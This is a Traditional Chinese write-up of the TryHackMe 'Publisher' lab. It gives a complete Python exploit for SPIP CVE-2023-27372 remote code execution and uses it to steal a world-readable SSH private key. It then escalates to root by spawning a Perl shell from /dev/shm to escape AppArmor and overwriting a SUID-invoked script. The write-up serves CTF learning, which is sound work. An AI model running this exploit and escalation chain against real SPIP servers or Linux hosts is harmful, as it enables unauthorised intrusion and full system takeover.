5 min read

TryHackMe Publisher writeup (zh-TW)

TryHackMe Publisher writeup (zh-TW)

題目資訊

偵察階段

Nmap 掃描

nmap -Pn -sV -sC 10.201.75.156 -p-

掃描結果

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)

Web 偵察

訪問 http://10.201.75.156 發現 SPIP CMS:

curl -I http://10.201.75.156/spip/spip.php

關鍵發現
http://10.201.75.156/spip/config/,發現版本,可查詢對應是否有漏洞!

Composed-By: SPIP 4.2.0 @ www.spip.net

Step 1: 初始訪問 - SPIP CVE-2023-27372 RCE

漏洞資訊

  • CVE: CVE-2023-27372
  • 影響版本: SPIP < 4.2.1
  • 漏洞類型: PHP 反序列化導致的遠程代碼執行
  • 利用向量: /spip.php?page=spip_passoubli 參數

漏洞分析
SPIP 在密碼重置功能中使用了危險的 #ENV** 標籤,且 protege_champ() 函數的正則表達式存在缺陷,允許注入序列化的 PHP 代碼。

Exploit 腳本

下載公開 exploit:

wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py

問題:原始腳本有 urllib3 兼容性問題。

修復方法

sed -i '63s/^/# /' 51536.py

第二個問題:原始腳本只注入 payload 但無法看到輸出。

改進的 Exploit 腳本

創建 exploit.py

#!/usr/bin/env python3
import requests
import bs4
import sys

def get_csrf(url):
    r = requests.get(f'{url}/spip.php?page=spip_pass')
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    return csrf_input['value'] if csrf_input else None

def exploit(url, cmd):
    csrf = get_csrf(url)
    if not csrf:
        print("[-] Failed to get CSRF token")
        return
    
    print(f"[+] CSRF: {csrf[:30]}...")
    
    # 正確計算長度!
    php_code = f'<?php system("{cmd}"); ?>'
    payload = f's:{len(php_code)}:"{php_code}";'
    
    print(f"[*] Command: {cmd}")
    print(f"[*] PHP code: {php_code}")
    print(f"[*] PHP code length: {len(php_code)}")
    print(f"[*] Payload: {payload}")
    
    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }
    
    r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)
    
    print(f"\n[*] Status: {r.status_code}")
    
    # 查找命令輸出
    if 'erreur' not in r.text.lower():
        print("[+] No error detected!")
    
    # 顯示響應
    print("\n" + "="*60)
    print(r.text)
    print("="*60)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3 spip_exploit.py 'command'")
        sys.exit(1)
    
    url = "http://10.201.75.156/spip"
    cmd = ' '.join(sys.argv[1:])
    exploit(url, cmd)

執行 Exploit

python3 exploit.py 'id'

輸出結果(在 HTML 的 value 屬性中):

value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"

成功獲得代碼執行!

Step 2: 橫向移動到 think 用戶

偵察系統

python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'

發現

drwxr-xr-x 2 think think 4096 Jan 10  2024 .ssh
-rw-r--r-- 1 root  root    35 Feb 10  2024 user.txt

檢查 SSH 目錄

python3 exploit.py 'ls -la /home/think/.ssh/'

關鍵發現

-rw-r--r-- 1 think think 2602 Jan 10  2024 id_rsa  ← 所有人可讀!

獲取 SSH 私鑰

python3 exploit.py 'cat /home/think/.ssh/id_rsa'

將輸出保存為 think_id_rsa

chmod 600 think_id_rsa
ssh -i think_id_rsa [email protected]

成功登錄!

User Flag

think@ip-10-201-75-156:~$ cat user.txt
Redacted

Step 3: 提權到 Root - AppArmor 繞過

初步偵察

# 檢查 SUID 文件
find / -perm -4000 2>/dev/null

# 檢查 sudo 權限
sudo -l  # 需要密碼

# 檢查內核版本
uname -a

發現可疑的 SUID 文件

/usr/sbin/run_container  ← 自定義二進制文件!

分析 run_container

/usr/sbin/run_container

輸出

List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:

查看腳本內容:

cat /opt/run_container.sh

關鍵發現

  1. /usr/sbin/run_container 以 root 權限執行
  2. 它調用 /opt/run_container.sh 腳本
  3. validate_container_id 函數不存在(第 16 行錯誤)

提權思路
如果我們能修改 /opt/run_container.sh,就能以 root 權限執行任意命令!

問題:AppArmor 限制

echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied

AppArmor 分析
檢查當前 shell 的 AppArmor profile:

cat /proc/self/attr/current
# /usr/sbin/ash (complain)

cat /etc/apparmor.d/usr.sbin.ash

關鍵限制

deny /opt/** w,      ← 無法寫入 /opt/
deny /tmp/** w,      ← 無法寫入 /tmp/
deny /home/** w,     ← 無法寫入 /home/

但是:沒有限制 /dev/shm/

AppArmor 繞過技巧
AppArmor 的限制是針對進程的,不是針對用戶!關鍵是創建一個新進程來繞過限制。

步驟 1:在 /dev/shm 創建 Perl 腳本

cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF

chmod +x /dev/shm/test.pl

步驟 2:執行 Perl 腳本獲得新 shell

/dev/shm/test.pl

注意提示符變化

think@ip-10-201-14-58:~$  ← 原始 shell(受 AppArmor 限制)
$                          ← 新 shell(不受限制!)

步驟 3:在新 shell 中修改 run_container.sh

$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh

成功寫入!(因為新 shell 沒有 AppArmor 限制)

步驟 4:執行 SUID binary 觸發提權

$ /usr/sbin/run_container

提權成功

bash-5.0#  ← Root shell!

Root Flag

bash-5.0# cat /root/root.txt
Redacted

技術要點總結

1. SPIP CVE-2023-27372 漏洞利用

  • 輸出位置:在 POST 響應的 HTML value 屬性中

2. SSH 私鑰權限配置錯誤

  • 問題id_rsa 文件設置為全局可讀(644)
  • 正確權限:應該是 600

3. AppArmor 安全繞過

  • 理解:AppArmor 限制的是進程,不是用戶
  • 繞過方法
    1. 找到可寫且可執行的目錄(/dev/shm/
    2. 創建腳本啟動新進程
    3. 新進程不繼承 AppArmor 限制
    4. 在新進程中執行被限制的操作

4. SUID 腳本利用

  • 條件
    • SUID binary 調用外部腳本
    • 腳本路徑可被修改
  • 利用:修改腳本內容以 root 權限執行命令

經驗分享

這一題的提權,作者完全想不出來,最後跟AI討論發現了盲點,
Claude AI: 你其實找到了所有關鍵線索

  1. /dev/shm/ 可寫
  2. /opt/run_container.sh 是目標
  3. ❌ 但沒意識到要用 /dev/shm/test.pl 創建新進程來繞過 AppArmor